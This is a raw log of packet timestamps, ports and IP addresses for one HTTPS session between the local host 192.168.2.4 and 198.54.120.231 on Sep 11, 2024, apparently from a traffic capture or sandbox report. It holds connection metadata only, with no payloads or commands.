Sep 11, 2024 22:52:14.717696905 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.717746019 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.727879047 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.727900982 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.727984905 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.727998018 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.728051901 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.728820086 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.728836060 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.728897095 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.728909016 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.728965044 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.729383945 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.729398966 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.729440928 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.729453087 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.729484081 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.729506016 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.729732037 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.729748964 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.729804039 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.729815006 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.729861021 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.730194092 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.730210066 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.730277061 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.730288982 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.730341911 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.803678989 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.803694963 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.803771019 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.803778887 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.803822041 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.804162025 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.804176092 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.804230928 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.804236889 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.804280996 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.804529905 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.804544926 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.804600954 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.804606915 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.804644108 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.814979076 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.814992905 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.815054893 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.815061092 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.815099001 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.815586090 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.815599918 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.815654039 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.815659046 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.815696955 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.816102028 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.816114902 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.816167116 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.816173077 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.816216946 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.816570044 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.816582918 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.816627026 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.816632986 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.816749096 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.817020893 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.817034960 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.817084074 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.817090988 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.817133904 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.896023989 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.896040916 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.896117926 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.896125078 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.896166086 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.896382093 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.896395922 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.896441936 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.896446943 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.896491051 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.897370100 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.897397995 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.897449017 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.897454977 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.897491932 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.903944969 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.903959036 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.904021025 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.904030085 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.904067039 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.904777050 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.904791117 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.904846907 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.904853106 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.904891014 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.905306101 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.905342102 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.905368090 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.905374050 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.905400991 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.905421019 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.905993938 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.906018972 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.906053066 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.906058073 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.906081915 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.906095028 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.906399012 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.906424046 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.906452894 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.906459093 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.906481981 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.906492949 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.983001947 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.983019114 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.983191013 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.983203888 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.983257055 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.983411074 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.983423948 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.983488083 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.983499050 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.983550072 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.983875990 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.983890057 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.983947992 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.983958006 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.984023094 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.990231037 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.990245104 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.990307093 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.990318060 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.990370989 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.990981102 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.990995884 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.991043091 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.991054058 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.991081953 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.991103888 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.991965055 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.991978884 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.992032051 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.992048979 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.992073059 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.992090940 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.992507935 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.992522001 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.992582083 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.992593050 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.992636919 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.993098021 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.993112087 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.993172884 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.993184090 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.993227959 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.067997932 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.068022966 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.068078041 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.068089962 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.068118095 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.068135977 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.068420887 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.068444014 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.068497896 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.068514109 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.068542957 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.068563938 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.072894096 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.072915077 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.072988033 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.072999954 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.073055029 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.080526114 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.080545902 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.080605030 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.080616951 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.080667973 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.081118107 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.081139088 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.081199884 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.081211090 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.081254005 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.081661940 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.081676960 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.081736088 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.081747055 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.081795931 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.082197905 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.082216978 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.082266092 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.082282066 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.082329988 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.082329988 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.082571030 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.082586050 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.082636118 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.082647085 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.082690001 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.082707882 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.154818058 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.154833078 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.154992104 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.155052900 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.155262947 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.155280113 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.155426025 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.155493021 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.155565977 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.155565977 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.155565977 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.160579920 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.160603046 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.160717964 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.160777092 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.160952091 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.160952091 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.167632103 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.167646885 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.167820930 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.167836905 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.167892933 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.168176889 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.168191910 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.168246031 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.168256998 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.168311119 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.168684006 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.168700933 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.168760061 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.168771029 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.168818951 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.169064999 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.169080019 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.169130087 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.169142008 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.169192076 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.170629978 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.170644045 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.170697927 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.170710087 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.170763016 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.242290020 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.242311954 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.242403030 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.242464066 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.242517948 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.242671967 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.242686987 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.242732048 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.242753983 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.242780924 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.242804050 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.252470970 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.252490044 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.252563953 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.252577066 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.252727032 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.255291939 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.255309105 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.255382061 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.255409956 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.255455017 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.255923033 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.255938053 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.256000996 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.256015062 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.256063938 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.256450891 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.256465912 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.256524086 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.256535053 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.256581068 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.256969929 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.256985903 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.257028103 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.257040024 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.257071018 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.257091045 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.258260965 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.258285046 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.258348942 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.258361101 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.258410931 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.329217911 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.329238892 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.329440117 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.329499006 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.329570055 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.329659939 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.329674006 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.329727888 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.329740047 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.329785109 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.339200020 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.339215040 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.339301109 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.339313984 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.339459896 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.342133045 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.342148066 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.342230082 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.342242002 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.342292070 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.342711926 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.342732906 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.342827082 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.342838049 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.342889071 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.343178034 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.343194962 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.343255043 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.343267918 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.343297958 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.343318939 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.343620062 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.343632936 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.343698978 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.343712091 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.343760967 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.345055103 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.345074892 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.345146894 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.345160007 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.345211983 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.416120052 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.416137934 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.416248083 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.416309118 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.416387081 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.416554928 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.416568995 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.416625977 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.416640043 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.416687965 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.426186085 CEST	443	49734	198.54.120.231	192.168.2.4
